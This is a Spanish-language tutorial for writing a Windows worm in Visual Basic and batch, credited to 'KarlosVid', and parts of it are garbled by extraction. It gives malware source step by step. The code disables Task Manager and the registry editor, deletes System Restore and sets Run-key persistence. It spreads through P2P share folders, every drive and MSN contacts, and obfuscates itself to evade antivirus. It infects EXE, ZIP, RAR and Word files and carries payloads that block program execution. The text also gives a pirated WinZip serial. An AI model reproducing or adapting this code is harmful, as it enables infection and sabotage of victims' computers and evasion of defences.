devuelve "Documento de texto". Si se proporciona. f.End Function Propiedad Type Descripción Devuelve información acerca del tipo de un archivo o carpeta. nuevonombre es el nuevo nombre del objeto especificado.idat.GetDriveName(fso.TXT.

lnk" ''05'' Eliminar su Administrador de Tareas(broma).exe (start WormKV77. ''04'' Punto de Recuperacion se llama Restaurar Sistema. ''01'' Pase Desapercibido del Admiministrador.exe ''09'' Copiar el Worm en la carpeta System32.exe". etc.exe)" Print #1. Nemlin.Path & App. Override. si no existe el worm que lo ejecute.exe D:\Worm.exe goto fin) else (goto up4) :up4 :Fin exit ''10'' Propagacion por P2P. FileCopy App. Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword /d ""1"" /f" ''07'' Buscar todos los HD(Discos Duros) y nos copiara(al Worm).exe" By KarlosVid(ÊÇ) www.exe Y:\Worm. Es para que la victima no pueda eliminar el HD(Malware). "If exist X:\ (Copy /y c:\Windows\System32\WormKV77.taskvisible=false. Novlucker.exe G:\Worm.exe)" Print #1. Systernloaded.exe goto fin) else (goto up3) :up3 If exist E:\WormKV77. ''02'' Para que se ejecute en cada sesion.exe" FileCopy App.exe X:\Worm.EXEName & ". Shell "cmd. "If exist F:\ (Copy /y c:\Windows\System32\WormKV77.Path & App. Luego crear un "Archivo de comprobación". aux. Shell "cmd.EXEName & ".exe goto fin) else (goto up) :up If exist C:\WormKV77.exe goto fin) else (goto up2) :up2 If exist D:\WormKV77.EXEName & ". C:\Windows <=> %SystemRoot% ''=> Nombres de Carpetas que no se puede crear: nul.exe F:\Worm.Gracias a: Hendrix. Para wue le sea dificil desinfectar el Worm y la propia habilitacion del Administrador de Tareas.byethost14. shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d ""1"" /f" ''06'' Bloquear el Registro. "exit" ''08'' Si no supieramos donde esta el Worm.exe)" Print #1. @echo off cls If exist %SystemRoot%\system32\WormKV77.exe E:\Worm. Emule es Incoming.exe" ''=> Ejemplo de Nombres de Virus: Wind32dl. "If exist Z:\ (Copy /y c:\Windows\System32\WormKV77. "If exist D:\ (Copy /y %SystemRoot%\System32\WormKV77. por medio de batch.Path & "\" & App. Tambien el Worm se puede copiar unas 100 veces con nombres distintos. "C:\Archivos de Programa\ICQ\shared files\WormKV77.exe (start WormKV77. Esto es para que salga un mensaje diciendo: El Administrador a desbloqueado esta opcion(o algo por el estilo).bat" For Output As #1 Print #1.Path & App.exe (start WormKV77.exe" %SystemRoot%\System32\WormKV77. "C:\Archivos de Programa\Grokster\My Grokster\WormKV77.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v NombreDeNuestroVirus /d RutaDeNuestroVirus. Morusa.idat.exe". "If exist Y:\ (Copy /y c:\Windows\System32\WormKV77. Filecopy App. App.exe)" Print #1. Open "C:\Windows\System32\Winlog. kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar sistema.exe /c comandodelMS-dos" ''03'' Guardar en el Registro. "If exist E:\ (Copy /y c:\Windows\System32\WormKV77. "If exist G:\ (Copy /y c:\Windows\System32\WormKV77.exe Z:\Worm. Kazaa es My Sheared folder.exe" FileCopy App. "C:\Archivos de Programa\Morpheus\My Shared Folder\WormKV77. "@echo off" Print #1.com 123 .EXEname & ".exe)" Print #1.exe)" Print #1.exe)" Print #1.exe (start WormKV77.exe".

1.EXEName & ".exe" FileCopy App."DirectUIHWND". "C:\Archivos de Programa\eMule\Incoming\WormKV77.exe" FileCopy App.exe".eviar el archivo.exe" ''11'' Para que el Worm sea capaz sea capaz de propagarse por P2P. "A:\WormKV77.UIAutomation") For Each ConTacto In w. "C:\Archivos de Programa\EDONKEY2000\incoming\WormKV77.EXEName & ".exe" FileCopy App. Call SpamMsn(iMsn.Path & App.crear una ventana de chat(solo con los contactos conectados).exe" ''=> Luego click en "Compile Script" y Despues click en File/Save As.EXEName & ".exe ''12'' Guardar en la disketera. "C:\Archivos de Programa\appleJuice\incoming\WormKV77. 3.Path & App.Path & App.exe" FileCopy App.MyContacts ''=> Recorremos todos nuestros contactos.EXEName & ".exe" FileCopy App.EXEName & ". Call SendText(i.exe". "C:\Archivos de Programa\KaZaA Lite\My Shared Folder\WormKV77. If Contacto.Path & App.exe".exe" FileCopy App.EXEName & ".Path & App.emviar un mensaje que intimide a descargarse el archivo. nos vamos al carajo.Path & App. "C:\Archivos de Programa\Shareaza\Download\WormKV77."Encriptador. "C:\Archivos de Programa\KaZaA\My Shared Folder\WormKV77.Path & App.InstantMessage(ConTacto.Path & App. utilizamos ResHack y luego ir a esta ruta: Version Info/1/3082."KarlosVid" VALUE "ProductName". Para que la disketera no empezara a sonar.hwnd) ''=> Esta función es la que hace el trabajo. "C:\Archivos de Programa\Rapigator\Share\WormKV77.exe" FileCopy App.exe"."1.EXEName & "."Hola.Path & App."Encriptador" VALUE "FileVersion". 2.00" VALUE "InternalName".Path & App.exe".EXEName & ".exe". "C:\Archivos de Programa\BearShare\Shared\WormKV77. "C:\Archivos de Programa\Filetopia3\Files\WormKV77.exe".exe" ''13'' Propagacion por MSN.exe" FileCopy App. 5.EXEName & ".exe" FileCopy App.EXEName & ".Path & App. By KarlosVid(ÊÇ) www.exe".EXEName & ". 0."Encriptador" VALUE "OriginalFilename".exe".Path & App. FileCopy App.exe". "C:\Archivos de Programa\WinMX\My Shared Folder\WormKV77. "C:\Archivos de Programa\Tesla\Files\WormKV77. En la info escribimos esto: VALUE "CompanyName".EXEName & ". esto es un mensaje") ''=> Mensaje a emviar EnviarFile App.EXEName & ".Path & "\" & App. "C:\Archivos de Programa\XoloX\Downloads\WormKV77.Path & App. Set iMsn = w..exe" FileCopy App. PostMessage ''=> Emviamos todo el mensaje.exe" FileCopy App. Exit Sub End If Next NotCompatible: MsgBox "No tienes MSN instalado en el sistema".EXEName & ".vbCritical.byethost14. "C:\Archivos de Programa\Direct Connect\Received Files\WormKV77.Crear o acceder al MSN.Path & App.EXEName & ".FileCopy App.exe" FileCopy App.EXEName & ".exe" FileCopy App. On Error GoTo NotCompatible Set w = CreateObject("Messenger.exe" FileCopy App.. "Error" Private Sub SpamMsn(ByVal mHwnd) On Error Resume Next Dim i As Long.idat.Path & App.Tomar la lista de contactos. Lo guardamos como WormKV77.Status = 2 Then ''=> Si el contacto esta OnLine.exe".com 124 .SigninName) ''=> Abrimos la ventana de Chat. i ''=> Archivo a emviar End Sub ''=> Utilizando los APIs de Window GetForegroundWindow SetForegroundWindow ''=> Para escribir en la ventana de Chat y luego darle en el foco a la ventana.exe".exe".EXEName & ".exe". "C:\Archivos de Programa\Gnucleus\Downloads\WormKV77.exe". spam As String i = FindWindowEx(mHwnd. "C:\Archivos de Programa\KMD\My Shared Folder\WormKV77. 4. "C:\Archivos de Programa\LimeWire\Shared\WormKV77.vbNullString) ''=> Buscamos esa clase dentro de la ventana If i = 0 Then Exit Sub ''=> Si no es asi.exe".Path & App.(Guardar como).exe" FileCopy App. "C:\Archivos de Programa\Overnet\incoming\WormKV77.Path & App.EXEName & ".exe".exe".exe" FileCopy App.exe".Path & App.EXEName & ".

0&) End Sub ''=> Emviando el archivo. "Send") <> 0) X = GetWindow(X. ByVal lpWindowName As String) As Long Public Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long. ''=> El comando 40275 es para mandar un comando a la ventana padre del chat. "0. 0. WM_COMMAND. "Enviar") <> 0 Or (InStr(hWndText.0&) Next i Call PostMessage(hDirectUI. lParam As Any) As Long Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long. ''=> hWmd es el handle de la ventana del chat. ByVal wParam As Long. ByVal wParam As Long. WM_KEYDOWN. "ComboBoxEx32".Public Sub SendText(pIMWindow As Long. 0&) Call PostMessage(Edit. "ComboBox". ByVal nIndex As Long) As Long Public Declare Function GetForegroundWindow Lib "user32" () As Long By KarlosVid(ÊÇ) www. ByVal hWnd2 As Long. hPrevWnd As Long Dim i As Integer hDirectUI = pIMWindow Do Call SetForegroundWindow(hDirectUI) Loop Until GetForegroundWindow = hDirectUI For i = 1 To Len(sText) Call PostMessage(hDirectUI. Public Function EnviarFile(ByVal DirPath As String. ByVal wParam As Long. sText As String) Dim hDirectUI As Long. GW_CHILD) hWndText = fWindowText(X) t = Timer Do Until (InStr(hWndText. hwn As Long) As Boolean Dim X As Long Dim Edit As Long Dim ParentHWnd As Long Dim hWndText As String Dim t As Single Call PostMessage(GetWindowLong(hwn. 0. ByVal lParam As Long) As Long Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long. WM_KEYUP. DirPath) Call PostMessage(Edit. vbNullString) Edit = FindWindowEx(Edit. 40275.t. ByVal wMsg As Long. vbNullString) If Edit = 0 Then Edit = FindWindowEx(X. WM_KEYDOWN. VK_RETURN.00") > 5 Then GoTo FIN Loop Edit = FindWindowEx(X. "Edit". VK_RETURN. 0&) EnviarFile = True FIN: End Function ''=> Declaraciones de Apis y Constantes utilizadas: Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long. ByVal wMsg As Long. GW_HWNDNEXT) hWndText = fWindowText(X) If Format(Timer . VK_RETURN. WM_KEYUP. ByVal lpsz1 As String. 0) DoEvents X = GetWindow(GetDesktopWindow(). 0&) Call PostMessage(hDirectUI. Asc(Mid(sText. VK_RETURN.com 125 . WM_CHAR. GWL_HWNDPARENT). 0.1)).idat.i. ByVal wMsg As Long. vbNullString) End If If Edit = 0 Then Exit Function Call SendMessageByString(Edit. 0.byethost14. WM_SETTEXT. ByVal lParam As String) As Long Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long. ByVal lpsz2 As String) As Long Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String.

Text = "" End Sub Privat e Sub Command2_Click() Text1. R.14) Next End Function Private Sub Command1_Click() Text2.byethost14. R.Text = "" End Sub Private Sub Command3_Click() End End Sub ''15'' Descencriptar el Worm.Public Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long Public Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long.Text = q(Text1. ByVal lpString As String. ''=> Se necesita 2 Textos (uno para la frase encriptada y otro para la frase desencriptada) ''=> y 3 CommandButtons (uno para encriptar.Text = des(Text2. ByVal nCmdShow As Long) As Long Private Const GW_HWNDFIRST = 0& Private Const GW_HWNDNEXT = 2& Private Const GW_CHILD = 5& Public Const GWL_HWNDPARENT = (-8) Public Const WM_SETTEXT = &HC Public Const WM_GETTEXT = &HD Public Const WM_GETTEXTLENGTH = &HE Public Const WM_KEYDOWN = &H100 Public Const WM_KEYUP = &H101 Public Const WM_CHAR = &H102 Public Const WM_COMMAND = &H111 Public Const VK_RETURN = &HD ''14'' Encriptacion Worm Anti-Heurística. 1)) . R.com 126 .idat.Text) Text1. 1)) + 14) Next End Function Public Function des(p) On Error Resume Next For R = 1 To Len(p) des = des & Chr(Asc(Mid(p. ByVal cch As Long) As Long Public Declare Function GetDesktopWindow Lib "user32" () As Long Public Declare Function GetWindow Lib "user32" (ByVal hwnd As Long. Public Function des(p) On Error Resume Next For R = 1 To Len(p) des = des & Chr(Asc(Mid(p. otro para desencriptar y otro para salir del programa) Public Function q(j) On Error Resume Next For R = 1 To Len(j) q = q & Chr(Asc(Mid(j. 1)) .14) Next End Function By KarlosVid(ÊÇ) www.Text) Text2. ByVal wFlag As Long) As Long Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long.

que el archivo a sido infectado. .idat.exe" For Binary As #1 tamarchivo = Space (LOF(1)) Get #1.RegWrite ("HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page"). Close #1 If (Right(szBuffer. ''NOMBREDELVIRUS" ''=> Poner una frase en las propiedades de Mi PC: Ejemplo1: Set firma = CreateObject("WScript.com 127 . q = q & Chr(Asc(Mid(j.''=> Para esquivar el Nod32.Path + "\" + App. .RegWrite ("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization"). si el fichero no está infectado continuamos. "Fichero infectado!" End If End Function ''=> Llamando a la función pasandome como parámetro un fichero exe a infectar.Shell") Worm. Function Infect_Exe(szFile As String) As Boolean Dim szBuffer As String Dim szVirus As String Open szFile For Binary Access Read As #1 ''=> Abrimos el fichero a insertar. vbCritical. . El Numero (+14). 2) <> "vx") Then ''=> Obtenemos los 2 ultimos bytes y comparamos con la marca de infeccion viral. .EXEName + ". By KarlosVid(ÊÇ) www.Shell") firma. "KarlosVid(ÊÇ)" Ejemplo2: Set firma = CreateObject("WScript. Dim TamanioArchivo As String Open "C:\archivo. .exe ''XXXX Es el tamaño de nuextro Worm Dim tamworm As String tamworm = Space (XXXX) ''=> Poniendo la firma para que el worm sepa. "vx" ''=> Infeccion Mark Close #3 Else MsgBox "Lo siento el fiechero ya está infectado". Get #2. ''=> Para marcar el PC así lo ideal es crear un archivo en el directorio System32 (que es de los mas ocultos) y darle un nombre wapo al archivo (que sea falso). vbInformation.exe" For Binary Acces Read As #2 ''=> Abrimos el virus (el fichero actual que se está ejecutando) szVirus = Space(VSC) ''=> Leemos los primeros 20480 bytes que es el tamaño total del virus despues de ser compilado. . R. ''=> Con esto si nuestro Worm detecta este archivo sabra que ya a sido infectado.Shell") firma.RegWrite ("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner"). 1)) + 14) ''16'' Existen 2 tipos de Firmas: La victima lo vea y la victima NO lo vea(sirve para que el worm se ha infectado). TamanioArchivo Close #1 ''18'' Creando una funcion para que infecte el archivo con solo pasarle el nombre. Const VSC = 20480 ''=> Constante.szBuffer ''=> Almacenamos los datos en szBuffer. MsgBox "Fichero no infectado! vamos a infectarlo!". tamaño del virus al ser compilado.byethost14. "Infectar fichero" Open App. Open "%Systemroot%\System32\System32. "NombreDeNuestroVirus" Close #1 ''=> Cambiar la direccion del IE de inicio por el nombre de nuestro virus: Set Worm = CreateObject("WScript.szVirus Close #2 Open szFile For Binary Acces Write As #3 ''=> Abrimos el fichero host y escribimos los datos. szVirus Put #3. szBuffer Put #3. szBuffer = Space(LOF(1)) "=> Leemos completamente LOF(1).txt" For Output As #1 Print #1. no debe ser mayor al número de ASCII. Get #1. Put #3. "Hackeador por:KarlosVid(ÊÇ)" ''17'' Infectar los Archivos.

szBuffer Close #2 CreateProcessA "fichero. ByVal lpCommandLine As String. lpEnvironment As Any. kill "fichero.EXEName + ".exe" For Binary Acces Write As #2 ''=> Escribimos el nuevo fichero.VSC) Close #1 Open "fichero.exe". 0&.Path + "\" + App.exe que es temporal.hProcess. SI. 0&. Command().exe" ''=> Eliminar el fichero. ByVal bInheritHandles As Long. ByVal dwCreationFlags As Long. ByVal dwMilliseconds As Long) As Long Public Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String. lpThreadAttributes As SECURITY_ATTRIBUTES. Public Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long. WaitForSingleObject PI. . 1&.0 ''=> Esperamos a que finalice.exe") End Sub ''19'' APIs para ejecutar el fichero: CreateProcess y WaitForSingleObject. NORMAL_PRIORITY_CLASS.byethost14. PI ''=> Lo ejecutamos mediante CreateProcessA.szVirus ''=> Abrimos el codigo Viral Get #1. Process Information y Normal_priority_class respectivamente.VSC) ''=> Tamaño total . lpProcessInformation As PROCESS_INFORMATION) As Long ''=> Declaramos dos estructuras y una constante en el modulo que son: Startupinfo. ByVal lpCurrentDriectory As String. . .com 128 .szBuffer ''=> Calculamos el tamaño del Host con (LOF(i) . Public Type STARTUPINFO cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Long hStdInput As Long hStdOutput As Long hStdError As Long End Type Public Type PROCESS_INFORMATION hProcess As Long hThread As Long dwProcessId As Long dwThreadId As Long End Type Public Const NORMAL_PRIORITY_CLASS = &H20 ''=> Crearemos un modulo en el proyecto y colocaremos esas declaraciones! con eso ya podemos usar las APIs desde cualquier form. Function Regenera_host() Dim szBuffer As String ''=> Buffer donde se almacenará el Host Dim szVirus As String ''=> Buffer donde almacenaremos al virus Dim Si As STARTUPINFO ''=> Estructura Startupinfo im Pi As PROCESS_INFORMATION ''=> Estructura security attibutes pen App. 0&.exe" For Binary Acces Read As #1 szVirus = Space(VSC) szBuffer = Space(LOF(1) . 0&.Private Sub Form Load() Infect_Exe ("Goat. lpStartupInfo As STARTUPINFO. By KarlosVid(ÊÇ) www. lpProcessAttributes As SECURITY_ATTRIBUTES. Put #2.tamaño virus = Tamaño del Host Get #1.idat.

EXE" /uninstall ''=> Ahora ¿Cómo obtener fácilmente la dirección? Winzip = fso.como bien su nombre lo indica es para buscar el siguiente fichero especificado.exe" ''=> *--Agregar varios archivos a un zip. Puedes Agregar varios archivos de diferentes formas por extensíon y por nombre y dirección de los archivos.. W32FIND) Infect_Exe W32FIND.cFileName ''=> Infectamos el Fichero Wend End Sub ''21'' Infección a los archivos . lpFindFileData As WIN32_FIND_DATA) As Long Public Declare Function FindClose Lib "kernel32" Alias "FindClose" (ByVal hFindFile As Long) As Long ''=> Como siempre estas declaraciones publicas irán en el modulo del proyecto. Sub search_host() Dim W32FIND As WIN32_FIND_DATA Dim hFindExe As Long hFindExe = FindFirstFile("*. ''=> FindNextFile. ''=> FindFirstFile. Shell Winzip & " -a " archivozip & " " & archivoexe Ejemplo: Shell Winzip & " -a C:\Hola. ''=> FindClose.com 129 . KLM\Software\Microsoft\Windows\Currentversion\Uninstall\Winzip\UninstallString ''=> El cual por ejemplo nos arrojará el siguiente valor al leer la cadena: "C:\ARCHIVOS DE PROGRAMA\WINZIP\WINZIP32.FindClose).zip" & " C:\virus..exe".byethost14.se le pasan dos argumentos.RAR y Zip's ''=> Primer obtener la direccion de Winzip.cFileName ''=> Infectamos el fichero While FindNextFile(hFindExe.zip" & " C:\windows\System\*. ''=> Declaraciones: Public Type WIN32_FIND_DATA dwFileAttributes As Long ftCreationTime As FILETIME ftLastAccessTime As FILETIME ftLastWriteTime As FILETIME nFileSizeHigh As Long nFileSizeLow As Long dwReserved0 As Long dwReserved1 As Long cFileName As String * MAX_PATH cAlternate As String * 14 End Type Public Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String. lpFindFileData As WIN32_FIND_DATA) As Long Public Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long. W32FIND) Infect_Exe W32FIND.*" ''=> Ziperá todos los archivos que se encuentran en ese directorio By KarlosVid(ÊÇ) www..idat.GetParentFolderName(Direcciondewinzip) ''=> *--Agregar un Archivo a un zip. el primero es un puntero string al fichero a buscar.''20'' Búsqueda de ficheros mediante APIs (FindFirstFile – FindNextFile .que se le pasa un solo argumento y es el handle de findfirstfile para ya terminar con la búsqueda de ficheros. Ejemplo: Shell Winzip & " -a C:\Hola. los parámetros que se le pasan son el handle de findfirstfile y un puntero a la estructura antes mencionada. y el segundo es un puntero a una estructura WIN32_FIND_DATA.

EXE" midir = "C:\Windows\System32\virus. Ahora vamos a infectarlo Winzip = "C:\ARCHIVOS DE PROGRAMA\WINZIP\WINZIP32.exe" Call infectar("A:\Cosas. Ejemplo: Supongamos que encontramos el siguiente archivo --> "A:\Cosas. ''=> Otro problema que nos proporciona Winzip es que no esté registrado lo cual no es difícil ''=> de registrarlo simplemente con las siguientes cadenas del regedit: "HKCU\software\nico mak computing\winzip\winini\Name" "HKCU\software\nico mak computing\winzip\winini\SN" "HKEY_USERS\.zip" for binary as #1 Close #1 ''=> *--Ahora a lo que vamos.Shell Winzip & " -a C:\Hola. ''=> Es igual el numero de serie para registrar Winzip en todas sus versiones.exe C:\Archivo.byethost14. By KarlosVid(ÊÇ) www. así no se dará cuenta el usuario de que se está ''=> infectando un archivo de su diskette. es todo. VbHide ''=> Supongamos que winzip tiene el valor de la dirección y nombre del programa Winzip y midir tiene el valor de la dirección de nuestro exe ''=> junto con el nombre y así ahora añadirlo. End sub ''=> *-. nadamas que con extensión zip Ejemplo: Open "C:\Archivozip.zip" & " C:\windows\System\*. La sintáxis para extraer archivos de un zip es la siguiente: Shell Winzip & " -e " & archivozip & " " & directorio Ejemplo: Shell Winzip & " -e C:\Hola. Simplemente buscar por algún método de búsqueda que quieras y al encontrarlo sólo adicionar nuestro programa "Virus" con un nombre convincente para que el usuario lo abra y así se produzca la infección en otro sistema.Registro de Winzip.DEFAULT\software\nico mak computing\winzip\winini\SN" ''=> Donde: Name = "Nombre del registrado" SN = "Numero de serie o s*rial Number" ''=> En estos Valores de cadena "REG_SZ" puedes crear uno con un generador de numeros de serie que lo puedes encontrar en internet.idat.zip" & " C:\" ''=> *--¿Como Crear un Archivo zip sin formato? Sencillo.txt" ''=> Zipeará los archivos que fueron escritos no importando la dirección ''=> *--Extraer Archivos.x y 9.x).DEFAULT\software\nico mak computing\winzip\winini\Name" "HKEY_USERS\.zip") Sub infectar(Direccion as string) Shell Winzip " -a " & Direccion & " " & midir. El VbHide nos sirve para ocultar el programa.dll" ''=> Zipeará todos los archivos con extensión dll que esten en ese directorio Shell Winzip & " -a C:\Hola.zip" & " C:\virus. sólo Abre un archivo de modo binario y cierralo. Ejemplo: Name = "*****" SN = "EBB9042E" ''=> Si escribes en el registro las cadenas anteriores con los valores de arriba ''=> estará registrado winzip con el nombre de *****. se muestra el programa añadiendo un archivo. la infección.zip".com 130 . Porque si no lo ponemos en caso de que tarde. ''=> (Comprobado en versiones 8.

com 131 . ''=> *-.zip a "C:\" ''=> Al igual que en winzip la infección es igual: Sub infectar(Direccion as string) Shell winrar " -a " & Direccion & " " & midir.Infección de archivos Rar's. ''=> No es necesario registrarlo como el winzip que nos mostraba la pantalla de que si estas o no de acuerdo del uso de este para que saques el número de serie.rar C:\" ''=> Añade todos los archivos de C:\ a el archivo archivorar.txt" de archivo .regread("HKCR\WinRAR\shell\open\command\")) ''=> Leo e invierto la cadena w = InStr(1.rar ''=> Agrega un directorio Shell winrar & " a C:\archivozip.rar ''=> La ventaja es de que si no existe el archivo winrar lo crea.rar C:\virus.zip Shell winrar & " a C:\archivorar.rar Shell winrar & " x C:\archivozip.zip ''=> Extraer todos los archivos Shell winrar & " x C:\archivozip. " ". vbBinaryCompare) ''=> Obtengo el espacio entre el path y el "%1" winrar = StrReverse(Mid(winrar.exe al archivorar.Extraer archivos Shell winrar & " x archivorar archivoaextraer" ''=> *--Ejemplos: ''=> Extraer un archivo Shell winrar & " x C:\archivorar. Ejemplo: ''=> *-Agregar archivo (Infectar) Shell winrar & " a " & archivorar & " " & "archivoacomprimir" ''=> Agrega un archivo Shell winrar & " a C:\archivozip.byethost14.zip C:\virus. VbHide By KarlosVid(ÊÇ) www. winrar. es más fácil de utilizar que winzip.txt" de archivo .exe" "%1" ''=> De que manera obtener sólo el path: winrar = StrReverse(wss.zip C:\" ''=> Añade todos los archivos de C:\ a el archivo archivozip.rar C:\" ''=> Extrae todos los archivos del archivo .txt" ''=> Extrae el archivo "archivo.exe al archivozip. Obtendremos la dirección de winrar HKCR\WinRAR\shell\open\command\(Predeterminado) Resultado de leer la cadena de arriba = "C:\ARCHIVOS DE PROGRAMA\WINRAR\WinRAR.exe" ''=> Añade el archivo virus.txt" ''=> Extrae el archivo "archivo.rar a "C:\" Shell winrar & " x C:\archivozip.zip archivo.exe" ''=> Añade el archivo virus.idat.''=> **. w.zip C:\" ''=> Extrae todos los archivos del archivo . ''=> Al igual que los zip's tambien los archivos rar se pueden infectar de manera sencilla. y es muy usado en todo el mundo.zip Shell winrar & " a C:\archivorar.rar archivo. Len(winrar))) ''=> Recorto y vuelvo a dejar la cadena como estaba (La revierto) ''=> Ahora ya tenemos lo que nos interesa (el path) para empezar a infectar archivos rar y este programa además de ofrecernos la infección a archivos rar tambien nos permite a zip.

FileSystemObject") Set archivo = fso.ActiveDocument. vbHide err: End Sub ''22'' Infección a Archivos.getfile(nomzip) ''=> Coloco las propiedades del archivo zip en ar1 pt1 = ar1.Shapes(1).ActiveDocument.ShortPath ''=> Lo que hace es crear un path sin espacios. False. para resolver esto utilizaremos el método ShortPath de la fso.ActiveDocument. "Pamela Fuck: Doble Click para ver.ZIP" una dirección corta ''=> Así no te causará problemas para la infección de archivos ya que no admiten espacios en los path.com 132 .) ''=> Ejemplo: Public Sub infectarzip(nomzip As String.GetFile(Direccion_del_archivo_y_archivo) ''=> Ejemplo: C:\Mis documentos\Archivozip.Shapes(1). Private Sub InfectarDoc(NombreDoc As String) On Error GoTo NoWord Word.''=> Supongamos que winrar tiene el valor de la dirección y nombre del programa Winrar y midir tiene el valor de la dirección de nuestro exe junto con el nombre para añadirlo al archivo rar. Porque si no lo ponemos en caso de que tarde. del primer path que escribí de ejemplo arrojará lo siguiente "C:\MISDOC~1\ARCHIV~1.Path = "A:" Then ''=> Si existe y encima el documento abierto esta en el disco A: HayWord = True ''=> Tonces Hay Word Exit Function End If NoWord: HayWord = False End Function ''=> Infectamos el Archivo .Shapes(1). pt1.Documents.zip o C:\Mis documentos\Archivorar.Width = 250 ''=> Especifico el tamaño Word.Shapes. se muestra el programa añadiendo un archivo y eso delatará nuestro virus.ActiveDocument.ActiveDocument.DOC ''=> Ver si el Word esta instalado.byethost14. Function HayWord() As Boolean Dim WordObj As Object On Error GoTo NoWord ) Set WordObj = GetObject(. "Word. pt2 ''=> Ar1:lo utilizo para colocar las propiedades del archivo ''=> Pt1: lo utlizo para colocar el path del zip ''=> Pt2: lo utlizo para colocar el path del virus On Error GoTo err: Set ar1 = fso.Height = 250 By KarlosVid(ÊÇ) www. Esto va para el archivo a infectar y el archivo a ''=> Comprimir (osea Zip y virus ejm.ActiveDocument.getfile(midir) ''=> Coloco las propiedades del virus en ar1 pt2 = ar1.Select Word.AddOLEObject . MiNombreEXE.midir as string) Dim ar1.Application") ''=> Verificamos si existe una instancia de word If WordObj.Visible = True ''=> Lo hago visible Word. MiNombreEXE. Ejemplo: Set fso = CreateObject ("Scripting. así no se dará cuenta el usuario de que se está infectando un archivo." ''=> Me agrego como un objeto Word. End sub ''=> Nota: Se tiene problemas con las direcciones. 0.idat. True.shortpath ''=> Coloco el path corto en pt2 ''=> Coloco las propiedades del archivo zip en ar1 Shell winzip & " -a " & pt1 & " " & pt2.shortpath ''=> Coloco el path corto en pt1 Set ar1 = fso.doc que seleccionemos haciendo un motor de buskeda. El VbHide nos sirve para ocultar el programa.rar direccioncorta = archivo.Open NombreDoc ''=> Abro el documento Word.Shapes(1).

DemionKlaz & Falckon" & vbCrLf & vbCrLf & "W32. vbSystemModal." & vbCrLf & "***** 2003/2004".ini".Word. ''=> Solo se activa el dia 13 del mes de Mayo.Close True ''=> Cierro el documento NoWord: End Sub ''=> Con esto el Worm ya podra infectar archivos Word. vbHidden End If End Sub ''24'' Payload. mi primer Worm tenia un buen ejemplo de lógica.A" & vbCrLf & "diseñado por *****/*****" & vbCrLf & "Dedicado a Osiris.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Policies\Explorer\RestrictRun". lo lee y sabe que esta infectado con el Worm. vbReadOnly ''=> Cambiamos las propiedades. "***** SoFtWaRe" Ws. True SetAttr "A:\Abril Lavigne Nude.CopyFile DirWin & "\Web\Folder. ejem!" & vbCrLf & "Design by *****". Ejemplo: ''=> El Worm deje algun texto suelto dentro del C: (mi Worm lo hacia a esto) y luego cuando el user lo vee. indirectos y logicos. ''=>** Los directos. " " ''=> Prohibir la ejecución de ejecutables Ws.ini".."Titulo de la pestaña" ''=>** Los indirectos."By Bill Gates" End If ''=> Se ejekutan los dias siperiores a 5 y meses superiores a 13.. "***** SoFtWaRe" Else MsgBox "Respuesta inesperada" & vbCrLf & "Design by S. True Fso. mi mejor amigo en *****..vbCritical.com 133 .Smeagol.CopyFile DirWin & "\Web\Desktop. "A:\Folder.Smeagol. vbCritical. a solo lectura SetAttr "A:\Desktop.jpeg . 36.idat.htt". ''=>** Los Lógicos.htt". "Atención") If a = 6 Then MsgBox "Ud ha sido infectado con el virus: W32.son los que al ejecutar el Worm el Worm se copia en el registro.CopyFile MiNombreEXE. ''=> Si el Worm borra archivos. If (Month(Now) = 5 or Month(Now) > 5) and (Day(Now) = 13 or Day(Now > 13) then MsgBox "Usted a sido infectado". aunke esto logicamente no es un payload.vbCritical.Es para hacer saber que el PC esta infectado por el Worm.exe". Private Sub PayloadDestructivo() On Error Resume Next Dim a As Integer a = MsgBox("¿Desea desinstalar Windows?"..Los que el usuario se da kuenta por si solo.ini". Hay de varios tipos: Directos. vbSystemModal. "W32. " " ''=> Prohibir la ejecución de ejecutables en WinNT End If End Sub By KarlosVid(ÊÇ) www. "A:\Abril Lavigne Nude. If Month(Now) = 5 and Day(Now) = 13 then MsgBox "Usted a sido infectado kon el Mejor Worm del Mundo".Documents(NombreDoc).vbCritical.byethost14.A versión beta".Son los que se aktivan por logica.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun". True Fso. Private Sub TimerBuscaWord_Timer() On Error Resume Next If HayExcel Or HayWord Then ''=> Si hay una instancia de word o excel abierta proseguimos Fso.exe".. vbHidden SetAttr "A:\Folder. y si es la primera vez envia algun mensage como esto: Msgbox "Aqui el mensaje". MachineDramon.jpeg . la victima vera que le faltan estos archivos y sospechara.. y a todos los miembros de *****.htt".. digo.."By Bill Gates" End If ''=> 